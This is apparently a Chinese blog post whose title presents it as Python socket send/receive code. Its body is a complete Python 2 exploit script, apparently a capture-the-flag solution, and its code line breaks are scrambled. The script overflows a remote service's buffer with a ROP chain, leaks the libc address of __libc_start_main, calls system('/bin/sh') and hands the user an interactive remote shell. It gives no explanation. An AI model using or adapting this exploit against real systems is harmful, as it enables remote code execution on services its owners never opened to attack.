python 网络发送接收数据代码

最新推荐文章于 2024-08-31 07:14:17 发布

usertony

最新推荐文章于 2024-08-31 07:14:17 发布

阅读量4k

点赞数

分类专栏：脚本漏洞网络安全文章标签： python socket

漏洞同时被 3 个专栏收录

14 篇文章 0 订阅

订阅专栏

网络安全

14 篇文章 0 订阅

订阅专栏

脚本

4 篇文章 0 订阅

订阅专栏

 
  #coding:utf-8 
 
  __author__  
  =  
  'Dazdingo' 
 
  from  
  socket  
  import  
  * 
 
  import  
  struct 
 
  import  
  time 
 
  import  
  threading 
 
  import  
  sys 
 
  is_recv  
  =  
  True 
 
  sock_host  
  =  
  '192.168.206.130' 
 
  sock_port  
  =  
  8080 
 
  S  
  =  
  socket(AF_INET, SOCK_STREAM) 
 
  def  
  send(ss, tail  
  =  
  ''): 
 
  global  
  S 
 
  if  
  tail: 
 
  ss  
  + 
  =  
  tail 
 
  print  
  ss 
 
  S.send(ss) 
 
  def  
  outputrecv(): 
 
  global  
  S 
 
  while  
  1 
  : 
 
  if  
  is_recv: 
 
  i  
  =   
  S.recv( 
  1024 
  ) 
 
  if  
  i: 
 
  sys.stdout.write(i) 
 
  def  
  start_recv(): 
 
  #start recv 
 
  t  
  =  
  threading.Thread(target  
  =  
  outputrecv,  args  
  =  
  ()) 
 
  t.daemon  
  =  
  True 
 
  t.start() 
 
  def  
  get_shell(): 
 
  #start recv 
 
  start_recv() 
 
  global  
  S 
 
  while  
  1 
  : 
 
  time.sleep( 
  0.1 
  ) 
 
  ss  
  =  
  raw_input 
  ()  
  +  
  '\n' 
 
  S.send(ss) 
 
  def  
  main(): 
 
  global  
  S 
 
  if  
  len 
  (sys.argv)  
  = 
  =  
  3 
  : 
 
  sock_host  
  =  
  sys.argv[ 
  1 
  ] 
 
  sock_port  
  =  
  int 
  (sys.argv[ 
  2 
  ]) 
 
  S.connect((sock_host, sock_port)) 
 
  a  
  =  
  raw_input 
  ( 
  'pause' 
  ) 
 
  print  
  S.recv( 
  1024 
  ) 
 
  send( 
  'syclover\x001111111\xf0' 
  ) 
 
  print  
  S.recv( 
  1024 
  ) 
 
  ebp  
  =  
  '\x20\x99\x04\x08' 
 
  libc  
  =  
  '\x5c\x98\x04\x08'  
  #__libc_start_main 
 
  retaddr1  
  =  
  '\xa0\x83\x04\x08'  
  # write 
 
  retaddr2  
  =  
  '\xbe\x85\x04\x08'  
  #pop;pop;pop;ret 
 
  pop_ebp_ret  
  =  
  '\xc0\x85\x04\x08' 
 
  retaddr3  
  =  
  '\x60\x83\x04\x08'  
  # read 
 
  retaddr4  
  =  
  '\xd2\x85\x04\x08'  
  #leave ret 
 
  send( 
  'A' 
  * 
  0x9c  
  +  
  ebp  
  +  
  retaddr1  
  +  
  retaddr2  
  +  
  '\x01\x00\x00\x00'  
  +  
  libc  
  +   
  '\x04\x00\x00\x00'  
  + 
  pop_ebp_ret  
  +  
  ebp  
  +  
  retaddr3  
  +  
  retaddr4  
  +   
  '\x00\x00\x00\x00'  
  +  
  '\x24\x99\x04\x08'  
  +  
  '\xf0\x00\x00\x00'  
  ) 
 
  time.sleep( 
  1 
  ) 
 
  l  
  =  
  S.recv( 
  1024 
  ) 
 
  libcaddr  
  =  
  struct.unpack( 
  'I' 
  , l)[ 
  0 
  ] 
 
  print  
  '__libc_start_main:' 
  , 
  hex 
  (libcaddr) 
 
  system  
  =  
  libcaddr  
  +  
  0x26050 
 
  send(struct.pack( 
  'I' 
  , system)  
  +  
  'AAAA' 
  + 
  '\x30\x99\x04\x08'  
  +  
  '/bin/sh\x00' 
  ) 
 
  get_shell() 
 
  if  
  __name__  
  = 
  =  
  '__main__' 
  : 
 
  main()